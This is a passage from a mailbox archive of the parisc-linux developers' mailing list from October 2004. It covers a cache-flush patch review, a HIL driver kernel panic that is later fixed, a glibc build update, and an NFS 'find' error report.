	with ESMTP id 22530-04; Fri, 8 Oct 2004 11:36:39 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 60E0C3BE1C; Fri,  8 Oct 2004 11:35:07 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A85F3BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 11:35:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22530-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Oct 2004 11:35:03 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id CDAE93BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 11:35:02 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CD280298118; Fri,  8 Oct 2004 11:35:01 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17473-06; Fri, 8 Oct 2004 11:35:01 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 25B922980AF; Fri,  8 Oct 2004 11:35:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20041008165926.GI14151@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22061

On Fri, Oct 08, 2004 at 09:59:26AM -0700, Randolph Chung wrote:
> +#define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
> +int parisc_cache_flush_threshold = FLUSH_THRESHOLD;

6 monthes or so ago Alex Williamson ran some perf tests comparing a
CONSTANT vs global when tuning the IOMMU page size on IA64 ZX1 chipsets.
IIRC, using a global was 3-5% slower if it was the same value as the constant.
I don't know if parisc will offer a similar performance difference and if so,
a per arch (PA11 vs PA20) should work fine for everything but PA8800.
It may not be a problem, just something to consider.

The rest looks "correct" to me - ie I don't see any obviously wrong.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: HIL panic on boot with 2.6.9-rc4-pa2
Date: 12 Oct 2004 17:00:01 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <1097618407.2044.420.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623579 11266 80.91.229.3 (22 Nov 2014 02:32:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:59 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <James.Bottomley@SteelEye.com>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29633 invoked by uid 65534); 12 Oct 2004 22:00:10 -0000
Original-Received: from stat16.steeleye.com (EHLO hancock.sc.steeleye.com) (209.192.50.48)
  by mx0.gmx.net (mx059) with SMTP; 13 Oct 2004 00:00:10 +0200
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id i9CM07m09108;
	Tue, 12 Oct 2004 18:00:07 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22062

I got this on a 64bit kernel on a C360 ... it looks like the driver
detach path is causing a problem (HIL needs to be built in for a
standard kernel to run on any machine).

James


HP SDC: : IRQ not found for SDC IO=0xffffffffffe01000 IRQ=0x0
NMI=0xffffffff
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
kfree_debugcheck: bad ptr 104bf828h.
kernel BUG at mm/slab.c:1851!
Backtrace:
 [<00000000101161a8>] dump_stack+0x18/0x28
 [<0000000010175a60>] kfree_debugcheck+0xb8/0xf8
 [<000000001017722c>] kfree+0x3c/0x128
 [<00000000102432b4>] serio_release_port+0x14/0x20
 [<0000000010251368>] device_release+0x30/0xa0
 [<00000000101f4cac>] kobject_cleanup+0xc4/0xd0
 [<00000000101f4ccc>] kobject_release+0x14/0x20
 [<00000000101f51d0>] kref_put+0xa0/0x128
 [<00000000101f4cfc>] kobject_put+0x24/0x30
 [<00000000102517fc>] put_device+0x14/0x20
 [<000000001025191c>] device_unregister+0x2c/0x40
 [<000000001024346c>] serio_destroy_port+0xf4/0x110
 [<00000000102439b8>] serio_unregister_port+0x58/0xb0
 [<0000000010247c44>] hil_mlc_unregister+0xf4/0x158
 [<000000001044e6bc>] hp_sdc_mlc_init+0x144/0x180
 [<0000000010438a88>] do_initcalls+0xb0/0x188

Kernel panic - not syncing: BUG!
 



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Updates] glibc 2.3.3 experimental update.
Date: Tue, 12 Oct 2004 16:45:37 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20041012204536.GJ24430@baldric.uwo.ca>
References: <20041008175619.GF24430@baldric.uwo.ca>
	<20041008225352.GN14151@tausq.org>
	<20041009182448.GS24430@baldric.uwo.ca>
	<20041010230457.GT14151@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623580 11267 80.91.229.3 (22 Nov 2014 02:33:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14112 invoked by uid 65534); 12 Oct 2004 20:46:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 12 Oct 2004 22:46:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 59F653BE30; Tue, 12 Oct 2004 14:46:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12054-07; Tue, 12 Oct 2004 14:46:18 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 58E2C3BE1C; Tue, 12 Oct 2004 14:45:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74EE13BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Oct 2004 14:45:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12054-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Oct 2004 14:45:42 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 2CD0F3BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Oct 2004 14:45:42 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CHTWb-0007LH-00; Tue, 12 Oct 2004 16:45:37 -0400
Content-Disposition: inline
In-Reply-To: <20041010230457.GT14151@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (13% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22063


> as you've probably noticed upstream has changed the way this function is
> defined between gcc 2.3.2 and 2.3.3. not sure exactly what's wrong, but
> as you said it'll be interesting to build one on i386 and compare...

Upstream i386 and linuxthreads is unbuildable. I don't really want to
fix i386 + linuxthreads to debug this, when in reality we should just
change it so that it's not hidden :)

I'll set this to build.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Elliott Potter <mailinglist@eep.burdell.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL panic on boot with 2.6.9-rc4-pa2
Date: Tue, 12 Oct 2004 17:10:11 -0500 (EST)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0410121706040.24322@trillian.uni>
References: <1097618407.2044.420.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623580 11270 80.91.229.3 (22 Nov 2014 02:33:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:00 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <mailinglist@eep.burdell.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1861 invoked by uid 65534); 13 Oct 2004 03:10:31 -0000
Original-Received: from dsl027-162-176.atl1.dsl.speakeasy.net (EHLO trillian.uni) (216.27.162.176)
  by mx0.gmx.net (mx047) with SMTP; 13 Oct 2004 05:10:31 +0200
Original-Received: from trillian.uni (localhost [127.0.0.1])
	by trillian.uni (8.12.11/8.12.11) with ESMTP id i9CMAC1W029066;
	Tue, 12 Oct 2004 17:10:12 -0500
Original-Received: from localhost (epotter@localhost)
	by trillian.uni (8.12.11/8.12.11/Submit) with ESMTP id i9CMABNi029063;
	Tue, 12 Oct 2004 17:10:11 -0500
X-Authentication-Warning: trillian.uni: epotter owned process doing -bs
X-X-Sender: epotter@trillian.uni
In-Reply-To: <1097618407.2044.420.camel@mulgrave>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22064

On Tue, 12 Oct 2004, James Bottomley wrote:

> I got this on a 64bit kernel on a C360 ... it looks like the driver
> detach path is causing a problem (HIL needs to be built in for a
> standard kernel to run on any machine).
>
> James
>
>
> HP SDC: : IRQ not found for SDC IO=0xffffffffffe01000 IRQ=0x0
> NMI=0xffffffff
> HP SDC: No SDC found.
> HP SDC MLC: Registering the System Domain Controller's HIL MLC.
> HP SDC MLC: Request for raw HIL ISR hook denied
> kfree_debugcheck: bad ptr 104bf828h.
> kernel BUG at mm/slab.c:1851!
> Backtrace:
>  [<00000000101161a8>] dump_stack+0x18/0x28
>  [<0000000010175a60>] kfree_debugcheck+0xb8/0xf8
>  [<000000001017722c>] kfree+0x3c/0x128
>  [<00000000102432b4>] serio_release_port+0x14/0x20
>  [<0000000010251368>] device_release+0x30/0xa0
>  [<00000000101f4cac>] kobject_cleanup+0xc4/0xd0
>  [<00000000101f4ccc>] kobject_release+0x14/0x20
>  [<00000000101f51d0>] kref_put+0xa0/0x128
>  [<00000000101f4cfc>] kobject_put+0x24/0x30
>  [<00000000102517fc>] put_device+0x14/0x20
>  [<000000001025191c>] device_unregister+0x2c/0x40
>  [<000000001024346c>] serio_destroy_port+0xf4/0x110
>  [<00000000102439b8>] serio_unregister_port+0x58/0xb0
>  [<0000000010247c44>] hil_mlc_unregister+0xf4/0x158
>  [<000000001044e6bc>] hp_sdc_mlc_init+0x144/0x180
>  [<0000000010438a88>] do_initcalls+0xb0/0x188
>
> Kernel panic - not syncing: BUG!

Hey, I got this same panic today when I tried that.  32-bit kernel on a
J5000 (smp).  Since I'm busy with other stuff I just backed down the the
"old faithful" kernel that always seems to work for me (2.6.9-rc2-pa4).

Just a data point; I don't really have much time to fiddle with it.

I am, however, (on a totally unrelated side note) having great success
with the glibc version I built a week or so ago ... I've built lots of
stuff in my steadily-growing chroot environment.  Whee!
--
Elliott



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL panic on boot with 2.6.9-rc4-pa2
Date: Wed, 13 Oct 2004 23:04:32 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <200410132304.32422.deller@gmx.de>
References: <1097618407.2044.420.camel@mulgrave>
	<Pine.LNX.4.58.0410121706040.24322@trillian.uni>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623580 11274 80.91.229.3 (22 Nov 2014 02:33:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:00 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Elliott Potter <mailinglist@eep.burdell.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17948 invoked by uid 65534); 13 Oct 2004 21:06:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 13 Oct 2004 23:06:38 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A85083BDF2; Wed, 13 Oct 2004 15:06:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24059-05; Wed, 13 Oct 2004 15:06:36 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C217E3BE1C; Wed, 13 Oct 2004 15:06:07 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 418853BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Oct 2004 15:06:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23837-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Oct 2004 15:06:02 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id ADC253BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Oct 2004 15:06:01 -0600 (MDT)
Original-Received: (qmail 5896 invoked by uid 65534); 13 Oct 2004 21:05:59 -0000
Original-Received: from pD9FE708B.dip.t-dialin.net (EHLO p100) (217.254.112.139)
	by mail.gmx.net (mp009) with SMTP; 13 Oct 2004 23:05:59 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <Pine.LNX.4.58.0410121706040.24322@trillian.uni>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22065

This is now fixed in CVS (Kernel 2.6.9-rc4-pa3).

Regards,
Helge

On Wednesday 13 October 2004 00:10, Elliott Potter wrote:
> On Tue, 12 Oct 2004, James Bottomley wrote:
> 
> > I got this on a 64bit kernel on a C360 ... it looks like the driver
> > detach path is causing a problem (HIL needs to be built in for a
> > standard kernel to run on any machine).
> >
> > James
> >
> >
> > HP SDC: : IRQ not found for SDC IO=0xffffffffffe01000 IRQ=0x0
> > NMI=0xffffffff
> > HP SDC: No SDC found.
> > HP SDC MLC: Registering the System Domain Controller's HIL MLC.
> > HP SDC MLC: Request for raw HIL ISR hook denied
> > kfree_debugcheck: bad ptr 104bf828h.
> > kernel BUG at mm/slab.c:1851!
> > Backtrace:
> >  [<00000000101161a8>] dump_stack+0x18/0x28
> >  [<0000000010175a60>] kfree_debugcheck+0xb8/0xf8
> >  [<000000001017722c>] kfree+0x3c/0x128
> >  [<00000000102432b4>] serio_release_port+0x14/0x20
> >  [<0000000010251368>] device_release+0x30/0xa0
> >  [<00000000101f4cac>] kobject_cleanup+0xc4/0xd0
> >  [<00000000101f4ccc>] kobject_release+0x14/0x20
> >  [<00000000101f51d0>] kref_put+0xa0/0x128
> >  [<00000000101f4cfc>] kobject_put+0x24/0x30
> >  [<00000000102517fc>] put_device+0x14/0x20
> >  [<000000001025191c>] device_unregister+0x2c/0x40
> >  [<000000001024346c>] serio_destroy_port+0xf4/0x110
> >  [<00000000102439b8>] serio_unregister_port+0x58/0xb0
> >  [<0000000010247c44>] hil_mlc_unregister+0xf4/0x158
> >  [<000000001044e6bc>] hp_sdc_mlc_init+0x144/0x180
> >  [<0000000010438a88>] do_initcalls+0xb0/0x188
> >
> > Kernel panic - not syncing: BUG!
> 
> Hey, I got this same panic today when I tried that.  32-bit kernel on a
> J5000 (smp).  Since I'm busy with other stuff I just backed down the the
> "old faithful" kernel that always seems to work for me (2.6.9-rc2-pa4).
> 
> Just a data point; I don't really have much time to fiddle with it.
> 
> I am, however, (on a totally unrelated side note) having great success
> with the glibc version I built a week or so ago ... I've built lots of
> stuff in my steadily-growing chroot environment.  Whee!

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "find" bug, kernel 2.6.8.1-pa11?
Date: Sat, 16 Oct 2004 00:09:01 +0200
Organization: PA/Linux
Lines: 125
Approved: news@gmane.org
Message-ID: <20041016000901.747d1988@Tatooine.r3z0>
References: <30C87152-1EA4-11D9-B246-0030656F07A2@parisc-linux.org>
	<200410152224.40458.deller@gmx.de>
	<20041015233757.00988d93@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623581 11280 80.91.229.3 (22 Nov 2014 02:33:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <varenet@parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18078 invoked by uid 65534); 15 Oct 2004 22:09:24 -0000
Original-Received: from pm-mx5.mgn.net (EHLO pm-mx5.mx.noos.fr) (195.46.220.209)
  by mx0.gmx.net (mx048) with SMTP; 16 Oct 2004 00:09:24 +0200
Original-Received: from mail.zigoo.net (d190.dhcp212-198-139.noos.fr [212.198.139.190])
	by pm-mx5.mx.noos.fr (Postfix) with ESMTP id B904626CDB;
	Sat, 16 Oct 2004 00:09:12 +0200 (MEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 3757F33F0B; Sat, 16 Oct 2004 00:09:17 +0200 (CEST)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id CA1BC33E98;
	Sat, 16 Oct 2004 00:09:09 +0200 (CEST)
Original-Received: from localhost
	([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with smtp (Exim 3.36 #1 (Debian))
	id 1CIaFy-0004SI-00; Sat, 16 Oct 2004 00:09:02 +0200
In-Reply-To: <20041015233757.00988d93@Tatooine.r3z0>
X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on Tatooine.r3z0
X-Spam-Status: No, hits=-50.0 required=5.0 tests=LOCAL_RCVD autolearn=no 
	version=2.64
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22066

Replying to myself since i have news:

I changed the nfs mount option to switch back from tcp to udp, and got rid
of the "value too loarge" messages, but:

JukeBox:/home/varenet# find /exports/ > /tmp/test
find: memory exhausted
JukeBox:/home/varenet# wc -l /tmp/test 
570 /tmp/test

So i can't really tell whether the "value too large" messages didn't show
because i switched to udp, or because not enough file where parsed. I'd go
for the latter, tho.

Unfortunately i can't mount the HD containing that much data on a PALinux
box, to tell whether that bug is network related (which seems likely to
me), or if that's something else.

HTH anyway

T-Bone

On Fri, 15 Oct 2004 23:37:57+0200 Thibaut VARENE
<varenet@parisc-linux.org> wrote:

> I should have mentionned this already, but the box is regularly updated,
> and the bugreport was sent after a fresh dist-upgrade. Nonetheless, this
> is a bug that has been affecting me for quite some time ("value too
> large for defined data type"), but the "memory exhausted" sounds new to
> me.
> 
> This is a cron job, so i wasn't paying much attention, until i noticed
> that things were actually getting worse...
> 
> HTH,
> 
> T-Bone
> 
> On Fri, 15 Oct 2004 22:24:40 +0200
> Helge Deller <deller@gmx.de> wrote:
> 
> > Hi Thibaut,
> > 
> > in case you did not apt-get updated' your machine to latest stuff,
> > please do so. I saw a lot of those errors with old userspace-binaries
> > as well (e.g. even after login with ssh, or while using "screen").
> > Updating fixed everything.
> > 
> > Just an idea...
> > 
> > Helge
> > 
> > 
> > On Friday 15 October 2004 14:17, Thibaut VARENE wrote:
> > > Hi,
> > > 
> > > Do we have some kind of bug here? See:
> > > 
> > > /exports contains several NFS mountpoints:
> > > 
> > > [varenet@JukeBox /exports]$ mount | grep nfs
> > > npyu:/Volumes/Atom/racine on /exports/npyu type nfs  
> > > (ro,noexec,soft,nolock,rsize=8192,wsize=8192,tcp,addr=147.215.7.13)
> > > neko:/home/ftp/mp3_1 on /exports/neko/mp3-1 type nfs  
> > > (ro,noexec,soft,nolock,rsize=8192,wsize=8192,addr=147.215.80.181)
> > > 
> > > Now see what happens:
> > > 
> > > [varenet@JukeBox /exports]$ find . > /home/varenet/playlistnow
> > > find: ./npyu/boxon/caprice/Metal/Royal Hunt - The watchers: Value
> > > too large for defined data type
> > > find: ./npyu/boxon/clubpc/Ziq/A5  
> > > (Darmstadt)/Warmduscher_Vs_Overdog_-_Live_at_A5_(Darmstadt)-DAB-12-
> > > 30 -2003-OMA: Value too large for defined data type
> > > find: ./npyu/boxon/done/Keeper Of The Seven Keys II: Value too large
> > >  
> > > for defined data type
> > > find: ./npyu/boxon/done/ROLLING STONES - Albumes 1964-1971 - CD1 de 
> > > BaTMaN/THE ROLLING STONES - 1965 - December's Children: Value too
> > > large  for defined data type
> > > find: ./npyu/boxon/samy/Vrac/pop: Value too large for defined data
> > > type find: ./npyu/boxon/samy/Walt Disney Phil Collins: Value too
> > > large for  defined data type
> > > find: ./npyu/boxon/samy/albums/ALADDIN: Value too large for defined 
> > > data type
> > > find: ./npyu/boxon/samy/albums/jah/THE selection: Value too large
> > > for defined data type
> > > find: ./npyu/boxon/samy/squarepusher: Value too large for defined
> > > data
> > >  
> > > type
> > > find: ./npyu/iTunes/Benny Benassi/Hypnotica: Value too large for  
